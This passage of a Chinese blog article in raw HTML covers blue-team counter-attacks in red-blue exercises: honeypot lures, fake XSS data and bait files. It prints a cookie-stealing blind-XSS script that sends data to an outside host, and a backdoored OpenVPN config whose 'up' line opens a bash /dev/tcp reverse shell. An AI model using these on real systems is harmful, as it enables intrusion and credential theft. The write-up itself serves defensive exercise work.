auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><strong>目的：</strong>点开钓鱼邮件的附件，假装中招后，让攻击者在翻当前PC机器的时候寻找到我们投下的假密码本，并结合VPN安装包，使得攻击者下载VPN安装包并进行安装，从而进行反向控制。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">其中具体细节不过多赘述，套路都一样，在多次演习中都成功的反制到了攻击队的VPS，甚至在演习中我们拿下了攻击队的终端PC...</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><h4 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.1rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">盲打攻击反制</h4><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">盲打攻击算是在演习中比较不常见的了，因为其效率不高，没办法直接的直控权限，但在攻击方穷途末路的时候往往也会选择使用盲打漏洞的方式来获取权限进而深入，比较常见的就属于盲打XSS了。</p><p><br/><img data-ratio="0.03855421686746988" data-w="830" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=bdcd756e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy5BKd9RiakqXqlFJH8OicwFzsXOLz4lTnHiaXh7qAaLaNgtWzlkqFodUe74WtAjwKODtibEfhNcen37Q%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">一般盲打XSS都具备一个数据回传接口（攻击者需要接收Cookie之类的数据），接口在JavaScript代码中是可以寻找到的，我们可以利用数据回传接口做2件事情：</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><ol style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;" class="list-paddingleft-2"><li><p>打脏数据回传给XSS平台（捣乱）</p></li><li><p>打虚假数据回传给XSS平台（诱导）</p></li></ol><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">通常选择第二种方式更有意义，当然实在不行的情况下我们还是可以选择捣乱的...</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">首先，我们获取到了XSS盲打的代码：</p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&#39;&#34;&gt;<span class="code-snippet__tag">&lt;<span class="code-snippet__name">sCRiPt</span> <span class="code-snippet__attr">sRC</span>=<span class="code-snippet__string"><a href="https://XXXX/shX36" target="_blank">https://XXXX/shX36</a></span>&gt;</span><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">sCrIpT</span>&gt;</span></span></code></pre></section><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">跟进SRC属性对应值（地址），获得如下JavaScript代码：</p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">(<span class="code-snippet__function"><span class="code-snippet__keyword">function</span>(<span class="code-snippet__params"></span>)</span>{(<span class="code-snippet__keyword">new</span> Image()).src=<span class="code-snippet__string">&#39;<a href="https://XXXX/xss.php?do=api&amp;id=shX36&amp;location=" target="_blank">https://XXXX/xss.php?do=api&amp;id=shX36&amp;location=</a>&#39;</span>+<span class="code-snippet__built_in">escape</span>((<span class="code-snippet__function"><span class="code-snippet__keyword">function</span>(<span class="code-snippet__params"></span>)</span>{<span class="code-snippet__keyword">try</span>{<span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">document</span>.location.href}<span class="code-snippet__keyword">catch</span>(e){<span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#39;&#39;</span>}})())+<span class="code-snippet__string">&#39;&amp;toplocation=&#39;</span>+<span class="code-snippet__built_in">escape</span>((<span class="code-snippet__function"><span class="code-snippet__keyword">function</span>(<span class="code-snippet__params"></span>)</span>{<span class="code-snippet__keyword">try</span>{<span class="code-snippet__keyword">return</span> top.location.href}<span class="code-snippet__keyword">catch</span>(e){<span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#39;&#39;</span>}})())+<span class="code-snippet__string">&#39;&amp;cookie=&#39;</span>+<span class="code-snippet__built_in">escape</span>((<span class="code-snippet__function"><span class="code-snippet__keyword">function</span>(<span class="code-snippet__params"></span>)</span>{<span class="code-snippet__keyword">try</span>{<span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">document</span>.cookie}<span class="code-snippet__keyword">catch</span>(e){<span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#39;&#39;</span>}})())+<span class="code-snippet__string">&#39;&amp;opener=&#39;</span>+<span class="code-snippet__built_in">escape</span>((<span class="code-snippet__function"><span class="code-snippet__keyword">function</span>(<span class="code-snippet__params"></span>)</span>{<span class="code-snippet__keyword">try</span>{<span class="code-snippet__keyword">return</span> (<span class="code-snippet__built_in">window</span>.opener &amp;&amp; <span class="code-snippet__built_in">window</span>.opener.location.href)?<span class="code-snippet__built_in">window</span>.opener.location.href:<span class="code-snippet__string">&#39;&#39;</span>}<span class="code-snippet__keyword">catch</span>(e){<span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#39;&#39;</span>}})());})();<span class="code-snippet__keyword">if</span>(<span class="code-snippet__string">&#39;&#39;</span>==<span class="code-snippet__number">1</span>){keep=<span class="code-snippet__keyword">new</span> Image();keep.src=<span class="code-snippet__string">&#39;<a href="https://XXXX/xss.php?do=keepsession&amp;id=shX36&amp;url=" target="_blank">https://XXXX/xss.php?do=keepsession&amp;id=shX36&amp;url=</a>&#39;</span>+<span class="code-snippet__built_in">escape</span>(<span class="code-snippet__built_in">document</span>.location)+<span class="code-snippet__string">&#39;&amp;cookie=&#39;</span>+<span class="code-snippet__built_in">escape</span>(<span class="code-snippet__built_in">document</span>.cookie)};</span></code></pre></section><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">通过该段代码我们可以知道数据都回传到了这个接口上：</span><br/></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer"><span class="code-snippet__symbol">https:</span>/<span class="code-snippet__regexp">/XXXX/xss</span>.php?<span class="code-snippet__keyword">do</span>=api&amp;id=shX36&amp;location=地址&amp;toplocation=地址&amp;cookie=Cookie信息&amp;opener=</span></code></pre></section><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">我们制定了一个计划：发送假数据前往攻击者所使用的XSS信息接收平台，诱导攻击者进入蜜罐。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><strong>资源准备</strong>：公网域名解析蜜罐地址（需要客户网络安全部门具备一定的权利），蜜罐（需要具备蜜罐产品）伪造假后台，并部署虚假准入客户端下载；（【细节】当攻击者Cookie伪造进后台时会提示：当前登录IP不在准入名单）</p><p><br/></p><p><img data-ratio="0.6501457725947521" data-w="686" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=73488442&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy5BKd9RiakqXqlFJH8OicwFzLRRrs3k3XLkfW8BNMQ0BuoCHibWe3uX5leDWN3vZIImq5Cicu1LWPmqQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">万事俱备只欠东风，对应参数传入虚假诱导数据（Location地址为查看留言信息的地址，Toplocation为引用该界面的地址，将用户名、密码写入到Cookie中配合“准入客户端”的诱导攻击）发送过去，等待攻击队上钩。</span></p><p><br/></p><p><img data-ratio="0.3132530120481928" data-w="830" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=d0799883&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy5BKd9RiakqXqlFJH8OicwFzysWRfVtuCbUvzYl7rvcv9aFlsCcvtqWMsGSWDvAxv6IsjbaFu0C3lw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><h3 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.2rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">技巧篇<br/></h3><h4 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.1rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">虚假备份文件</h4><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">配合蜜罐部署虚假漏洞，例如备份文件（WWW.rar）配合CVE-2018-20250漏洞。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">参考：</span><a href="https://github.com/WyAtu/CVE-2018-20250" target="_blank">https://github.com/WyAtu/CVE-2018-20250</a></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><h4 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.1rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">OpenVPN配置后门</h4><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">OpenVPN配置文件（<strong>OVPN文件</strong>，是提供给OpenVPN客户端或服务器的配置文件）是可以修改并加入命令的。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">OVPN文件最简单的形式如下：</p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">remote</span> 192<span class="code-snippet__selector-class">.168</span><span class="code-snippet__selector-class">.31</span><span class="code-snippet__selector-class">.137</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">ifconfig</span> 10<span class="code-snippet__selector-class">.200</span><span class="code-snippet__selector-class">.0</span><span class="code-snippet__selector-class">.2</span> 10<span class="code-snippet__selector-class">.200</span><span class="code-snippet__selector-class">.0</span><span class="code-snippet__selector-class">.1</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">dev</span> <span class="code-snippet__selector-tag">tun</span></span></code></pre></section><p><br/></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="220" data-source-title=""><section class="js_blockquote_digest"><p>以上文件表示，客户端会以开放的，不用身份验证或加密方式去连接IP为192.168.31.137的远程服务，在此过程中，会建立一种名为tun的路由模式，用它来在系统不同客户端间执行点对点协议，例如，这里的tun路由模式下，tun客户端为10.200.0.2，tun服务端为10.200.0.1，也就是本地的tun设备地址。这里的三行OVPN配置文件只是一个简单的示例，真正应用环境中的OVPN文件随便都是数百行，其中包含了很多复杂的功能配置。</p></section></blockquote><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">OpenVPN 配置功能的 up 命令可以使得添加配置文件后执行我们所想让其执行的命令，官方文档中有说明：</span><a href="https://openvpn.net/community-resources/reference-manual-for-openvpn-2-0/" target="_blank">https://openvpn.net/community-resources/reference-manual-for-openvpn-2-0/</a></p><p><br/></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="140" data-source-title=""><section class="js_blockquote_digest"><p>成功启用 TUN/TAP 模式后的 cmd 命令。该cmd命令中包含了一个脚本程序执行路径和可选的多个执行参数。这种执行路径和参数可由单引号或双引号，或者是反斜杠来强调，中间用空格区分。up命令可用于指定路由，这种模式下，发往VPN另一端专用子网的IP流量会被路由到隧道中去。</p></section></blockquote><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">本质上，up命令会执行任何你指向的脚本程序。如果受害者使用的是支持</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">/dev/tcp</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">的Bash命令版本，那么在受害者系统上创建一个反弹控制 shell 轻而易举。就如以下OVPN文件中就可创建一个连接到 192.168.31.138:9090 的反弹shell。</span></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">remote</span> <span class="code-snippet__number">192.168.31.137</span></span></code><code><span class="code-snippet_outer">ifconfig <span class="code-snippet__number">10.200.0.2</span> <span class="code-snippet__number">10.200.0.1</span></span></code><code><span class="code-snippet_outer">dev tun</span></code><code><span class="code-snippet_outer">script-security <span class="code-snippet__number">2</span></span></code><code><span class="code-snippet_outer">up <span class="code-snippet__string">&#34;/bin/bash -c &#39;/bin/bash -i &gt; /dev/tcp/192.168.31.138/9090 0&lt;&amp;1 2&gt;&amp;1&amp;&#39;&#34;</span></span></code></pre></section><p><br/></p><p><img data-ratio="0.24466750313676286" data-w="1594" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1751760c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy5BKd9RiakqXqlFJH8OicwFzMuDJMjjgKrQGj0v2I0o25HBDGFUrad1y9yzB168XgvtRovbRK7ibc7A%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">需要注意的是，up 命令需要成功连接主机才会执行，也就是说192.168.31.137需要真实存在并可以连接。</p><p><br/></p><h4 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.1rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">兵器漏洞</h4><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">可以尝试挖掘蚁剑、冰蝎、菜刀、BurpSuite、SQLmap、AWVS的0day漏洞（需要一定的技术水平），或利用历史漏洞部署相关环境进行反打，例如蚁剑：<a href="https://gitee.com/mirrors/antSword/blob/master/CHANGELOG.md" target="_blank">https://gitee.com/mirrors/antSword/blob/master/CHANGELOG.md</a></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">历史版本中出现诸多XSS漏洞-&gt;RCE：</p><p><br/></p><p><img data-ratio="0.1932059447983015" data-w="1884" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=67d5083c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy5BKd9RiakqXqlFJH8OicwFzVjzlYPR3rticmRfQUHdpENCnLkpib7QRDlHibHRzxrnUIpbqGNj2xCibkg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><h2 style="text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem;padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">文末</h2><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">只要思维活跃，枯燥无味的一件事情也可以变得生动有趣，生活如此，工作亦如此。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">蓝队反制，需要具备这几个条件才能淋漓尽至的挥洒出来：</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><ol style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;" class="list-paddingleft-2"><li><p>客户安全相关部门的权力要高</p></li><li><p>以自家厂商为主导的防守项目</p></li><li><p>最好具备现成的现代蜜罐产品</p></li></ol><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">未来，攻防对抗演习不仅仅是前几年所展示的那样：蓝队只要知道防守手段；而趋势将会慢慢的偏向于真正的攻防，蓝队不仅要会基本的防守手段，还要具备强悍的对抗能力，与红队进行对抗，这对蓝队成员的攻防技术水平也是一种更高的考验。</span><br/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">最后的最后，HACK THE WORLD - TO DO IT.</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><h3 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.2rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">Reference</h3><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 